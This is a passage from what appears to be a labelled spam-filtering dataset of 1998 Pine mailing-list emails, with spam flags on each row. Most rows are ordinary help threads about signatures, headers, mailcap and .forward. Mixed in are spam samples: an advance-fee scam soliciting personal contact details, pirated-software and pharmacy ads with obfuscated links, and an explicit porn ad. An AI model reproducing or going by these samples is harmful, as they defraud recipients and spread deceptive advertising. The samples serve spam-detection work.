of World Bank. Through the sale of our allocated oil quota in OPEC, I was able to make US$20Million, which is currently deposited in a Security company in Europe. I want you to assist me to claim this money as I cannotclaim it directly because I am still a civil servant, and the code ofconduct bureau forbids me to acquire such amount of money. It is on this basis that I am contacting you for assistance, if you will be interested; claim documents have been processed and will be sent to you. The documents with which the fund is deposited will be changed to reflect you as the new beneficiary so that you will be eligible to collect the fund on my behalf. I will give you 25% of the fund for this assistance while 65% will be for me and 10% will be for expenses that may be incurred on both sides. I am aware of the international monitoring of all large-scale financialmovements after the September 11th 2001 terrorist attack on America ad to avoid any state of financial investigation I will provide a classified clearance paper from the relevant body, which will exonerate the money from drug, money laundered or terrorist related proceed. I want to assure you that there is no risk attached in this transaction. You should also provide me with your private telephone and fax numbers for easier communication. I await your prompt response. Best regards, Mr Dale Samson - dale samson ",1,0 Miike ,Pine Discussion Forum ,"Fri, 16 Jan 1998 16:41:49 -0500","""to"" field","First I want to think the people that helped me on the last problem, in making a reply to address. Next, I'm not sure about this one either, is there anyway to change the ""From"" field? I have this account, but I also have a virtual domain and obvioulsy, to inflate my ego, I want to use the webmaster email address. Can anyone let me know if you can make such a change in Pine? Thanks. Forgive me if I'm just ignorant. ______________________________________________________________ webmassa@phatboys.com * Mike Cross * Minister of Propaganda ""If you can't convince them, confuse them."" -Harry S Truman Mundus vult decipi, ergo decepiatur. Frontis nulla fides. -------------------------------------------------------------- ",0,0 Drachen ,Pine Discussion Forum ,"Fri, 16 Jan 1998 13:46:28 -0800",Re: e-mail," Assuming that you gave your correct email address. I have a few problems with your recent post to the pine-info mailing list On Fri, 16 Jan 1998, Claudette wrote: First: it is clear that you aren't using pine. This : [NON-Text Body part not included] tells me that you are sending non-rfc compliant email. For more information I suggest you go to http://www.isi.edu/div7/rfc-editor/rfc.html and do an appropriate search. ""mail"" strikes me as a good one. (I dont' recall the most recent rfc number. sorry) Second : mailing lists are not a good or appropriate place for you to post your commercial advertisements. it is not appreciated and I can pretty much assure you you won't get any customers from this list. Third: the url that your banner is advertising does not exist. therefore, you annoyed the subscribers to this list pointlessly, as you really will not get customers if no one can find you. Fourth : the software you sell is used for spamming, from the sound of it. Spam wastes bandwidth and disk space. Spam is killing the news system. Email spam is inconsiderate, especially to those who have to download their mail via modem connections and had to wait for your banner. It also may be illegal, depending on where you live. In other words, don't do it again. Vinnie ",0,1 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 13:51:30 -0000",Re: e-mail,"Number one...NO This is a mailing list devoted to the discussions concerning an email program known as Pine. That is a major violation of just about every accepted standard of etiquette across the Internet today. Plainly, don't do this...it's spam. It clogs up the network. If youy posted to any other newsgroups or mailing lists go back there, re-post and say that you're sorry. Oh, one more thing. If you ever ask someone to put up an image or link to your site on theirs, I don't think ""how about you put my banner on your site"" will accomplish your goal. It's rude, it's not a question format that elicits any kind response. Go away and read Netiquette 101. -Colin -----Original Message----- From: Claudette To: Pine Discussion Forum Date: Friday, January 16, 1998 9:14 PM Subject: e-mail how about you put my banner on your site. Contact me at firmbz@hotmail.com",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 00:00:12 +0100","Re: ""to"" field","On Fri, 16 Jan 1998, Miike wrote: > Next, I'm not sure about this one either, is there anyway to change the > ""From"" field? I have this account, but I also have a virtual domain and > obvioulsy, to inflate my ego, I want to use the webmaster email address. > Can anyone let me know if you can make such a change in Pine? Yes. Grab the tarball for your system off the pine site and say grep -i -5 changing_from on the tech-notes. Follow the instructions, recompile, install. > Forgive me if I'm just ignorant. Yes, you are. Read the docs, that will help. Cheers, Robin -- hdd still broken ",0,0 Mike ,Pine Discussion Forum ,"Fri, 16 Jan 1998 17:01:51 -0500",hmmm,"Ok, now its starting to get interesting. How can I make it show the customized headers to the recipient? This is what I have done: The first thing that I did was play with the custom headers. Then I turned on the full headers option (CTRL+R) and there they were. However, when I went back in, I saw that there were also default headers. I tried changing it to let me adjust the ""From"" header, and it told me I couldnt do that. Then I put in the regular headers and the custom ones from below. Yeah. Well, once I had saved those changes I went again to compose another letter. However, only the regular headers were there. This wasnt cool. What was going on? So I changed the custom ones back to their own respective custom area in the settings, and did a full header command again, and filled them in and sent it. Aggh! This time, it sent fine, and I mailed it to myself. Aw, this is just great. It doesnt show the custom headers unless I have the full header command on! Is there anyway to force Pine to show those headers that I want it to see? Say I want my friends to see my website. I want a header to say: Website: http://www.foo.com/ It only shows up in full header display. Aw pooh, I was hoping to sneak that one in. It's getting interesting, although it's kinda a tease. Boo. Can anyone help? Thanks in advance. ______________________________________________________________ webmassa@phatboys.com * Mike Cross * Minister of Propaganda ""If you can't convince them, confuse them."" -Harry S Truman Mundus vult decipi, ergo decepiatur. Frontis nulla fides. -------------------------------------------------------------- ",0,1 """Brian H. Trammell"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 17:28:25 -0500","pgp/pine, take II","Greetings, Thank you for your previous suggestions. However, I am attempting to use PGP 5.0 with Pine, not 2.6.2. 5.0 has different calling semantics, and I am having quite a bit of difficulty porting any of the suggested solutions to PGP 5.0 due to these semantic differences. I would like to instead address why pine returns >Problem filtering: Success<... ""Success"" is not generated by pgps, pgpe, or pgpv (the pgp executables for pgp 5.0) so it looks like it's added by Pine's filter layer. But if Pine is returning success, why does it die with ""Problem filtering""...I'm afraid I don't understand. tia, and please cc me. -brian -------------------------------------------------------------------------- brian h. trammell http://www.altara.org/~brian georgia tech civil engineering system administration ""The problem with the rat race is that the winner is still a rat."" 0xf00fc7c8",0,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 17:51:32 -0600",Re: pine 4.0 preview,">From: ""Everett, Marty"" >Date: Fri, 16 Jan 1998 08:17:10 -0500 >I fail to understand you purpose in life. If you can not be helpful then >just shut up because this trash is not constructive. Since this mailing list is hardly being used for its intended purpose, Robin's purpose has been to keep me entertained. Thank you, Robin.",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 15:50:41 -0000",Re: hmmm,"Yup, there's a really easy solution readily available to you called a signature file (otherwise known as a dotsig or .signature) and it's a bit more elegant than twenty header lines. Two methods of accomplishing what (I think) you are looking for: 1. quit pine, and at the command prompt do a: pookie.guts.com$touch .signature pookie.guts.com$chmod 755 .signature pookie.guts.com$pico .signature (this brings up the default text editor and your screen will be blank, because it's a new and empty file you've brought up) at the top, type something like the following: ------------------------------------------------------------ Mike Cross http://www.phatboys.com/ mailto: webmassa@phatboys.com ""If you can't convince them, confuse them."" -Harry S Truman ------------------------------------------------------------ Try (please) to limit your dotisg to maybe five lines max if it's feasible (it is in your case) and follow the format shown above. OK, next do a ^O (Ctrl O) and you'll see a ""File Name to Write .signature?"" hit enter and there will be a couple of brief messages that flash by. Then hit ^X (Ctrl X) which bales you out of pico. OK, now you have a dotsig, now how do you incorporate it into each email you send? simple. Get back into Pine and on the main menu screen hit ""S"" (Setup) ""C"" (Configure"" and tab down the selections to signature-file. If it reads then leave it alone, if it reads differently, hit ""C"" (Change value) and type in .signature) then tab down almost to the end of the first section of configurable variables until you see signature-at-bottom and check that by hitting enter or hit the ""x"" key. Now hit ""E"" (Exit Configuration) you'll see the message ""Commit Changes (""Yes"" replaces settings, ""No"" abandons changes)? and hit enter or ""y"" for yes to commit the changes you have made. Now hit ""C"" for compose, and voila, there will be a .dotsig which will remain at the bottom of each email you send until you decide to ever change it or delete it. I gave you the ""real"" way to create a dotsig, although Pine will do it for you if you go to setup/configuration/signature which is a bad way of learning anything about Unix. Follow this method, and you've learned several things....how to create a file from scratch, change it's permissions (never mind too much about that for now but it's there anyway) and open it, edit it, save the changes, and make it work within your email environment. Hope this answers your question, and if so, we expect you to post to the list using your new dotisg!!!!! Don't worry if it's goofy to begin with, just about everyone has a goofy dotsig in the beginning. You'll change it as time goes by, everyone does. Good Luck! -Colin -------------------------------------------- Colin J. Raven Network & Systems Administration. HDS Lab, Inc. Costa Mesa CA | Harrison NY cjraven@quik.com ""Communications at the Speed of Life"" -----Original Message----- From: Mike To: Pine Discussion Forum Date: Friday, January 16, 1998 10:09 PM Subject: hmmm >Ok, now its starting to get interesting. How can I make it show the >customized headers to the recipient? This is what I have done: > >The first thing that I did was play with the custom headers. Then I turned on >the full headers option (CTRL+R) and there they were. However, when I went >back in, I saw that there were also default headers. I tried changing it to >let me adjust the ""From"" header, and it told me I couldnt do that. Then I put >in the regular headers and the custom ones from below. Yeah. Well, once I >had saved those changes I went again to compose another letter. However, only >the regular headers were there. This wasnt cool. What was going on? So I >changed the custom ones back to their own respective custom area in the >settings, and did a full header command again, and filled them in and sent it. >Aggh! This time, it sent fine, and I mailed it to myself. Aw, this is just >great. It doesnt show the custom headers unless I have the full header >command on! Is there anyway to force Pine to show those headers that I want >it to see? Say I want my friends to see my website. I want a header to say: > >Website: http://www.foo.com/ > >It only shows up in full header display. Aw pooh, I was hoping to sneak that >one in. It's getting interesting, although it's kinda a tease. Boo. Can >anyone help? Thanks in advance. > >______________________________________________________________ > webmassa@phatboys.com * Mike Cross * Minister of Propaganda > ""If you can't convince them, confuse them."" -Harry S Truman > Mundus vult decipi, ergo decepiatur. Frontis nulla fides. >-------------------------------------------------------------- > >",0,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 17:56:43 -0600",Re: Robin is good.,">From: Christopher Hicks >Date: Fri, 16 Jan 1998 10:02:28 -0500 (EST) >On Fri, 16 Jan 1998, Everett, Marty expoused about Robin: >>I fail to understand you purpose in life. If you can not be helpful then >>just shut up because this trash is not constructive. >Some of us appreciate Robin's wit. What's with the Subject? Robin is not good. If Robin were good, he wouldn't be any fun.",0,0 Don Allaire ,Pine Discussion Forum ,"Fri, 16 Jan 1998 18:01:51 -0600",Public apology to Robin and Colin ,"Dear listmember: I would like to apologize for sending my unprovoked attacks yesterday and the day prior to Robin and Colin for flaming the newbie. I said things about them that were unwarrented and definately not appropriate. I don't personally know either one of them, and I made unjustified statements about them. I also sent those messages to the group without a valid return address, and that was most rude. If you were irritated by the post from Speaking Freely, that was me. I am sending personal apologies to both of those gentleman immediately. Sometimes, even people who have been on the net for a while act inappropriately and I certainly did. I know that I will attract some flames for revealing myself, and I deserve them. Please direct them to me personally, as I don't want to further impact the list. I am sorry, Don Allaire. ",0,0 Don Allaire ,Pine Discussion Forum ,"Fri, 16 Jan 1998 18:11:13 -0600","I couldn't send to Robin's email address, so posting here.","Robin: I don't know you, and I have enjoyed your humor on the list for the past 4 months or so. I had no bad intentions toward yourself or colin when I placed the posts to the pine-info group. After doing so, and driving home the long drive that I do, I started rethinking my actions, and realized that I was completely wrong in my postings. I would like you to know that I actually appreciate people like yourself who try to prevent ego maniacs like bill gateus of Borg from trying to take over the computing planet. I work at a larger US Corporation, and I have steered them away from NT for their Internet functions, and use FreeBSD exclusively in that area. I actually am well versed in Netiquette, as I owned an ISP with 3000+ members, and we had to give them talks about this frequently. I never intended to even respond to you, until I read the last line of your post back to me when I responded about Colin flaming Jennifer, the part about PC is dead and buried. When you read something, and you write something back in the heat of the moment, especially over email, it is easier to be a complete butt head than when speaking to a person directly. I lost my composure and I apologize for doing so in a public forum. My comments were far from accurate toward you. It just seemed that lately, the list has had more and more unfriendly responses. As you noted, this is directly correlated to the increase of rude and inappropriate messages to the group. I am far from a saint, and I again apologize for acting like I was. I do hope that you find it within yourself to understand and forgive my harsh words. Sincerely, Don Allaire....no longer Speaking Freely. ",0,0 John Heenan ,Pine Discussion Forum ,"Sat, 17 Jan 1998 12:07:01 +1100",Using Pine with messages sent in http,"Hi I get email sent to me written in http. To read it I save the file attachments and then read the message surrounded by http. I couldn't find a way of setting up mime types to cater for this. Is there a quick way to instruct the Pine viewer to display messages it does not know how to deal with, or is there a way to instruct pine to use another viewer on command, like lynx? Regards John Heenan ",0,0 John Heenan ,Pine Discussion Forum ,"Sat, 17 Jan 1998 12:08:45 +1100",Re: Using Pine with messages sent in http,"Forgot to mention I use Pine on Linux. On Sat, 17 Jan 1998, John Heenan wrote: > Hi > > I get email sent to me written in http. To read it I save the file > attachments and then read the message surrounded by http. I couldn't find > a way of setting up mime types to cater for this. > > Is there a quick way to instruct the Pine viewer to display messages it > does not know how to deal with, or is there a way to instruct pine to use > another viewer on command, like lynx? > > Regards > > John Heenan > > > ",0,0 Drachen ,Pine Discussion Forum ,"Fri, 16 Jan 1998 17:17:31 -0800",Re: Using Pine with messages sent in http," It's seemed to me that one could pipe it through lynx (that only works for un*x systems, though). But my computer has been loathe to do that. However, that was my old one, my new one seems to handle viewers and such much better. Maybe I should try it again. (better hardware, more current version of linux and pine, etc) anyway, said commands would be V(iew)(highlight the appropriate attatchment) | lynx oh, and you have to set that in the configuration. I don't know if this will work, though. it just should theoretically Vinnie On Sat, 17 Jan 1998, John Heenan wrote: > Hi > > I get email sent to me written in http. To read it I save the file > attachments and then read the message surrounded by http. I couldn't find > a way of setting up mime types to cater for this. > > Is there a quick way to instruct the Pine viewer to display messages it > does not know how to deal with, or is there a way to instruct pine to use > another viewer on command, like lynx? > > Regards > > John Heenan > > > > ",0,0 Lana Bass ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 10:32:11 -0700",Three Steps to the Software You Need at the Prices You Want,"Special Offer Adobe Video Collection Adobe Premiere 1.5 Professional Adobe After Effects 6.5 Professional Adobe Audition 1.5 Adobe Encore DVD 1.5 $149.95 More Info >> Microsoft 2 in 1 MS Windows XP Pro MS Office 2003 Pro $99.95 More Info >> Microsoft + Adobe 3 in 1 MS Windows XP Pro MS Office 2003 Pro Adobe Acrobat 7.0 Professional $149.95 More Info >> Bestsellers Microsoft Office Professional Edition 2003 Rating: 6 reviews Retail price: $550.00 You save: $480.05 (87%) Our price: $69.95 [Add to cart] Microsoft Windows XP Professional Rating: 8 reviews Retail price: $200.00 You save: $150.05 (75%) Our price: $49.95 [Add to cart] Adobe Photoshop CS2 V 9.0 Rating: 3 reviews Retail price: $599.00 You save: $529.05 (88%) Our price: $69.95 [Add to cart] ",1,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 03:33:46 +0100",HELP!!!!!!,"Folks, Don and Jennifer have been abducted by aliens! They were good people and deserve better than be replaced by soulless clones. Is there anything I can do to bring them back, please? Maybe something that will also make pine filter mail, do threads, yank properly, and forge my from: line - and fix my hdd? It'd be pretty cool if it would also get me some Coke, pizza and cigarettes... TIA, Robin -- .signature: I/O error My hdd is forging my forged from: line -> robin@franck.pc.uni-koeln.de ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 03:56:00 +0100",Re: hmmm,"On Fri, 16 Jan 1998, Colin J. Raven wrote: > Yup, there's a really easy solution readily available to you called a > signature file (otherwise known as a dotsig or .signature) and it's a bit > more elegant than twenty header lines. No, Colin, it isn't. I'm too tired to check the son-of-rfc-1632 or something, stuff like urls goes in the header. > Two methods of accomplishing what (I think) you are looking for: 1. quit > pine, and at the command prompt do a: pookie.guts.com$touch .signature pookie.guts.com? Cute. But why on earth would you touch a sigfile and... > pookie.guts.com$chmod 755 .signature make it executable??? and then > pookie.guts.com$pico .signature use this abomination called pico to edit that file, instead of simply using the sigfile option available on the M(ain) screen? > --------------------------------------------------- Mike Cross > http://www.phatboys.com/ > mailto: webmassa@phatboys.com > ""If you can't convince them, confuse them."" -Harry S Truman Unless your hdd is broken, you don't need the email in there - it's in your from: line. The URL could use standard format, too: to make it clickable. Pine doesn't do that, btw. *sigh* [snipped really interesting things I didn't read] > Follow this method, and you've learned several things.... Colin? You have just taught the young man how to do about everything feasible wrong. But that's ok, because this is not gnu.emacs.gnus, but the pine discussion forum, and the only reason we're here is because we are nice chaps that enjoy a good laugh once in a while. Technical problems do not really belong here... > Hope this answers your question, and if so, we expect you to post to the > list using your new dotisg!!!!! Don't worry if it's goofy to begin with, > just about everyone has a goofy dotsig in the beginning. You'll change it > as time goes by, everyone does. Yeah... Some people have really cool stuff to change their signatures: ;;* Use random signatures in message-mode ;; written by Matt Simmons (require 'random-sig) (setq random-signature-head (expand-file-name ""~/.sigfiles/HEAD"")) (setq random-signature-dir (expand-file-name ""~/.sigfiles"")) (setq message-signature 'random-signature-fun) I wish things were as easy as that with pine. robin@franck.pc.uni-koeln.de -- .signature: I/O error *nrglflmpblymenshrrsn*",0,1 Candace ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 11:14:46 -0400",SOFT /!agra: save more buying more +++ point," You don't know me from Adam. :) /iagra at $0.87 per dose online http://wredey2g2q212rj0dewh2wwhkeww.tolleryfb.com/?dgh ReM http://tgbjn7bpbhtst0ar45nqtn58tn55.tolleryfb.com/pmhu?wsx ",1,1 """News Dept."" ",mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 13:21:39 -0500",THE ANCIENT SECRET OF LIFE,"Website Marketing Services · Unit 11 Edif. Minerva · Benalmadena Costa, Arroyo 29630, Spain",1,1 John Heenan ,Pine Discussion Forum ,"Sat, 17 Jan 1998 13:50:36 +1100",Re: Using Pine with messages sent in http,"Thanks for your reply Vinnie. I have been able to add an /etc/mailcap entry for text/HTML to enable HTML to be shown. Part of my original problem was that text/plain was not even being displayed. This problem has been fixed up also. It appears http emailers also send a plain version of http. An /etc/mailcap entry that worked for me is text/HTML; lynx -force_html -dump %s; copiousoutput With regard to piping the output to Lynx, I don't think there is a way within Lynx for it to accept a html file to be proceesed from standard input. However piping the output to a script could set up a file for lynx to read from and then send output to standard output for the viewer. John On Fri, 16 Jan 1998, Drachen wrote: > > It's seemed to me that one could pipe it through lynx (that only works for > un*x systems, though). But my computer has been loathe to do that. > > However, that was my old one, my new one seems to handle viewers and such > much better. Maybe I should try it again. (better hardware, more current > version of linux and pine, etc) > > anyway, said commands would be V(iew)(highlight the appropriate > attatchment) | lynx > > oh, and you have to set that in the configuration. > > I don't know if this will work, though. it just should theoretically > > Vinnie > > On Sat, 17 Jan 1998, John Heenan wrote: > > > Hi > > > > I get email sent to me written in http. To read it I save the file > > attachments and then read the message surrounded by http. I couldn't find > > a way of setting up mime types to cater for this. > > > > Is there a quick way to instruct the Pine viewer to display messages it > > does not know how to deal with, or is there a way to instruct pine to use > > another viewer on command, like lynx? > > > > Regards > > > > John Heenan > > > > > > > > > ",0,0 Drachen ,Pine Discussion Forum ,"Fri, 16 Jan 1998 18:53:00 -0800",Re: Using Pine with messages sent in http,"hmm. I think you're right..I mean about lynx not reading from standard input. it would (more or less) explain what happens on this machine when I try to pipe it. (nothing explains what happens on the last machine, except perhaps the fact that it was held together by duct tape, bailing wire and velcro) Time to fire up vi and write a script. -force_html looks useful too. I don't know why I havne't seen it before. Vinnie On Sat, 17 Jan 1998, John Heenan wrote: > Thanks for your reply Vinnie. > > I have been able to add an /etc/mailcap entry for text/HTML to enable HTML > to be shown. Part of my original problem was that text/plain was not even > being displayed. This problem has been fixed up also. It appears http > emailers also send a plain version of http. > > An /etc/mailcap entry that worked for me is > text/HTML; lynx -force_html -dump %s; copiousoutput > > With regard to piping the output to Lynx, I don't think there is a way > within Lynx for it to accept a html file to be proceesed from standard > input. However piping the output to a script could set up a file for lynx > to read from and then send output to standard output for the viewer. > > John > > > On Fri, 16 Jan 1998, Drachen wrote: > > > > > It's seemed to me that one could pipe it through lynx (that only works for > > un*x systems, though). But my computer has been loathe to do that. > > > > However, that was my old one, my new one seems to handle viewers and such > > much better. Maybe I should try it again. (better hardware, more current > > version of linux and pine, etc) > > > > anyway, said commands would be V(iew)(highlight the appropriate > > attatchment) | lynx > > > > oh, and you have to set that in the configuration. > > > > I don't know if this will work, though. it just should theoretically > > > > Vinnie > > > > On Sat, 17 Jan 1998, John Heenan wrote: > > > > > Hi > > > > > > I get email sent to me written in http. To read it I save the file > > > attachments and then read the message surrounded by http. I couldn't find > > > a way of setting up mime types to cater for this. > > > > > > Is there a quick way to instruct the Pine viewer to display messages it > > > does not know how to deal with, or is there a way to instruct pine to use > > > another viewer on command, like lynx? > > > > > > Regards > > > > > > John Heenan > > > > > > > > > > > > > > > > > > ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 11:26:02 -0800",Re: hmmm,"Robin, as I understood his question (please excuse the assumption, I know it can be dangerous) It appeared as though he wanted to display a URL in each email message, ergo a decent use of a dotsig. Headers are rarely understood by the average user, but if there was a different purpose, then I stand corrected and stand down on this issue. -Colin -----Original Message----- From: Robin S. Socha To: Pine Discussion Forum Date: Friday, January 16, 1998 6:05 PM Subject: Re: hmmm >On Fri, 16 Jan 1998, Colin J. Raven wrote: > >> Yup, there's a really easy solution readily available to you called a >> signature file (otherwise known as a dotsig or .signature) and it's a bit >> more elegant than twenty header lines. > >No, Colin, it isn't. I'm too tired to check the son-of-rfc-1632 or >something, stuff like urls goes in the header. > >> Two methods of accomplishing what (I think) you are looking for: 1. quit >> pine, and at the command prompt do a: pookie.guts.com$touch .signature > >pookie.guts.com? Cute. But why on earth would you touch a sigfile and... > >> pookie.guts.com$chmod 755 .signature > >make it executable??? and then > >> pookie.guts.com$pico .signature > >use this abomination called pico to edit that file, instead of simply using >the sigfile option available on the M(ain) screen? > >> --------------------------------------------------- >Colin? Back in the days when XEmacs roamed my harddrive, I had this: > >;;* This one takes care of fucked-up signatures >(setq gnus-signature-separator > '(""-- *$"" ; The standard > ""^-- *$"" ; A common mangling > ""^-------*$"" ; Many people just use a looong > ; line of dashes. Shame! > ""^ *--------*$"" ; Double-shame! > ""^________*$"" ; Underscores are also popular > ""^========*$"")) ; Pervert! > >That's ""-- "" and nothing else? dash dash blank. Some programs use this >separator to do fancy stuff with signatures. Pine doesn't, btw. Some >programs put sigdashes in automagically. Pine doesn't. Why me? Why my >XEmacs? Why not pine? I want my Gnus back... *sniff* > >> Mike Cross >> http://www.phatboys.com/ >> mailto: webmassa@phatboys.com >> ""If you can't convince them, confuse them."" -Harry S Truman > >Unless your hdd is broken, you don't need the email in there - it's in your >from: line. The URL could use standard format, too: >to make it clickable. Pine doesn't do that, btw. *sigh* > >[snipped really interesting things I didn't read] >> Follow this method, and you've learned several things.... > >Colin? You have just taught the young man how to do about everything >feasible wrong. But that's ok, because this is not gnu.emacs.gnus, but the >pine discussion forum, and the only reason we're here is because we are nice >chaps that enjoy a good laugh once in a while. Technical problems do not >really belong here... > >> Hope this answers your question, and if so, we expect you to post to the >> list using your new dotisg!!!!! Don't worry if it's goofy to begin with, >> just about everyone has a goofy dotsig in the beginning. You'll change it >> as time goes by, everyone does. > >Yeah... Some people have really cool stuff to change their signatures: > >;;* Use random signatures in message-mode >;; written by Matt Simmons >(require 'random-sig) >(setq random-signature-head (expand-file-name ""~/.sigfiles/HEAD"")) >(setq random-signature-dir (expand-file-name ""~/.sigfiles"")) >(setq message-signature 'random-signature-fun) > >I wish things were as easy as that with pine. > >robin@franck.pc.uni-koeln.de > >-- >.signature: I/O error >*nrglflmpblymenshrrsn* > > >",0,1 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 11:46:24 -0800",Re: Public apology to Robin and Colin ,"Dear Fellow List Members, I am pleased and delighted to welcome Don back...if I recall correctly, (I may be wrong here) but I believe he's a prolific and knowledgeable contributor to the Redhat list. This gentleman has class and courage to post an apology to a worldwide list, and I encourage everyone to pause and give this action he took some careful and (sober) thought. As he stated, he has indeed sent me a personal email, and I am publicly stating that I received it in good faith, and responded in an honorable fashion by way of acceptance. I personally hope that if I ever do someone a real (or perceived) injustice, I will have the humility and courage to take an honorable course of action such as this, especially in light of the fact that he could have appeared on the list under his own personna and no one would ever have known he was the one who took a couple of us to task. Now perhaps we can get back to Pine, and toasting the occasional individual who darkens our doorway with Microsoft or Armadillo pest control requests??? Hey Don.....welcome! -Colin -----Original Message----- From: Don Allaire To: Pine Discussion Forum Date: Friday, January 16, 1998 4:12 PM Subject: Public apology to Robin and Colin >Dear listmember: > >I would like to apologize for sending my unprovoked attacks yesterday and >the day prior to Robin and Colin for flaming the newbie. > >I said things about them that were unwarrented and definately not >appropriate. I don't personally know either one of them, and I made >unjustified statements about them. > >I also sent those messages to the group without a valid return address, and >that was most rude. If you were irritated by the post from Speaking Freely, >that was me. > >I am sending personal apologies to both of those gentleman immediately. > >Sometimes, even people who have been on the net for a while act >inappropriately and I certainly did. I know that I will attract some flames >for revealing myself, and I deserve them. Please direct them to me >personally, as I don't want to further impact the list. > >I am sorry, > >Don Allaire. > >",0,0 Rebekah Crum ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 17 Jan 1998 05:35:07 -0700",handsome Schoolgirl at Porrn!," grand Young Schoolgirl so gorgeous and youngg. http://thepornopictures.info/fpafporn.htm?iSPhfd.fX,hj R_E_M_0_\\\\/_E http://thepornopictures.info ",1,1 Christopher Hicks ,Pine Discussion Forum ,"Fri, 16 Jan 1998 23:33:40 -0500",Re: Robin is good.,"On Fri, 16 Jan 1998, Adam H. Kerman wrote: > What's with the Subject? Robin is not good. If Robin were good, he > wouldn't be any fun. Touche. Robin is the baddest. 63.Thou shalt not employ cheese as a means of sexual arousal. -http://www.mindworkshop.com/alchemy/command.html",0,1 Shoeless in San Jose ,Pine Discussion Forum ,"Fri, 16 Jan 1998 21:02:38 -0800",Re: Using Pine with messages sent in http,"On Sat, 17 Jan 1998, John Heenan wrote: > Thanks for your reply Vinnie. > > I have been able to add an /etc/mailcap entry for text/HTML to > enable HTML to be shown. Part of my original problem was that > text/plain was not even being displayed. This problem has been > fixed up also. It appears http emailers also send a plain version of > http. Usually. I've seen one lately that didn't. Since I hadn't gotten this set up till now, thanks to you folks, I'd just skip it. > An /etc/mailcap entry that worked for me is > text/HTML; lynx -force_html -dump %s; copiousoutput This is what got it working. I tried the script below; it would display the message which was unreadable otherwise (unless I saved and viewed the file), but it still contained all the HTML tags. The one above works; the one below didn't quite cut it: text/html;lynx -force_html %s;test=test -n ""$LYNX_VERSION"" text/html; shownonascii iso-8859-1 %s; copiousoutput text/html; shownonascii iso-8859-8 %s; copiousoutput text/html; shownonascii iso-8859-7 %s; copiousoutput > With regard to piping the output to Lynx, I don't think there is a > way within Lynx for it to accept a html file to be proceesed from > standard input. However piping the output to a script could set up > a file for lynx to read from and then send output to standard output > for the viewer. I tried piping it through Lynx which was suggested earlier. I was using the four-line script above (haven't tried it with the new one-liner, but it's more work to do that anyway), and it just locked up. Couldn't suspend the job; could only cut the connection and re-logon, so I think I'll stick with the one-liner. That fixed the problem. Greg batchman@slip.net ",0,0 Sapan Goel ,Pine Discussion Forum ,"Sat, 17 Jan 1998 11:23:18 +0530",help on .forward,"Hello all technical masters, I am facing problem while forwarding my mails to some executable program. I want to develop the filter and for that i need to forward all the incoming mails to some executable program. For this i had written the line |""/home/sapan/a.out"" in my .forward file.... where a.out is the executable program.. Although it is forwarding the mails to the program but the returned mail is also generated specifying that unknown mailer error and cann't forward mail to /home/sapan/a.out@localhost Thanks, ****************************************************************************** SAPAN GOEL \\\\\\|||/// FINAL YEAR B.E. COMPUTER SCIENCE ========= MOTILAL NEHRU REGIONAL ENGG. COLLEGE - | O O | / \\ \\ @'/ #55,MALVIYA HOSTEL. # _| |_ M.N.R.E.C. (#) ( ) ( ) ALLAHABAD. #\\//|* *|\\\\ UTTARPRADESH. #\\/( * )/ INDIA. # ===== PIN-211004. # (\\|/) # || || E-MAIL: sapan@ganga.mnrec.ernet.in #.--'| |---. #'---' ----' ******************************************************************************",0,1 SAROJA SREENIVASAN ,Pine Discussion Forum ,"Sat, 17 Jan 1998 13:48:50 +0530",unable to send mesage.,"Sir, I tried to send mail to my brother (bala@integra.net & bala@2way.net).But the computer displays the message that it is unable to send to that address.Please help. ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 12:38:50 +0100",Re: help on .forward,"On Sat, 17 Jan 1998, Sapan Goel wrote: > I am facing problem while forwarding my mails to some executable program. > I want to develop the filter and for that i need to forward all the > incoming mails to some executable program. For this i had written the line > |""/home/sapan/a.out"" in my .forward file.... where a.out is the > |executable program.. Why arent't you using procmail right away, Sapan? Its language provides for exactly these tasks. Take a look at Nancy McGough's mail filtering faq. BTW, your signature is way too large. Cheers, Robin -- hdd broken - remove sushi in from line :-( ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 12:42:14 +0100",Re: unable to send mesage.,"On Sat, 17 Jan 1998, SAROJA SREENIVASAN wrote: > I tried to send mail to my brother (bala@integra.net & bala@2way.net).But > the computer displays the message that it is unable to send to that > address. Have you asked your brother that the accounts are still valid? If so, his server might be down for maintenance or something similar. HTH, Robin -- .signature I/O error ",0,0 biscoito ,Pine Discussion Forum ,"Sat, 17 Jan 1998 12:45:34 +0100",Reply without read the mesage....,"Hello! I have a little problem here.... My problem is how can I get a copy of my news mail - without read it - to another account? There is any possibility to do it? It is like a automaticaly forward, but Pine keeps a copy in my pine's account.... Please reply to biscoito@bigfoot.com ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 15:39:54 +0100",Re: hmmm,"On Fri, 16 Jan 1998, Colin J. Raven wrote: > Robin, as I understood his question (please excuse the assumption, I know it > can be dangerous) It appeared as though he wanted to display a URL in each > email message, ergo a decent use of a dotsig. Sure, but your format was not the best. > Headers are rarely understood by the average user, but if there was a > different purpose, then I stand corrected and stand down on this issue. No, but... }:-> Make it look like this: -- Robin S. Socha SC CRIS I/O error is what an hdd says when it dies... I guess that's the accepted format. And make sure it's ""-- "", not ""--"". Anyway, this is only hypothetical here, because UPS failed to deliver in time and I'll be stuck with this system till Monday. Robin",0,1 Colon Abraham ,mailarch+pine-info@groupms.cac.washington.edu,"Sun, 18 Jan 1998 04:37:36 +0400",Hear to what our Med Customer says,"The Only online pharmacy 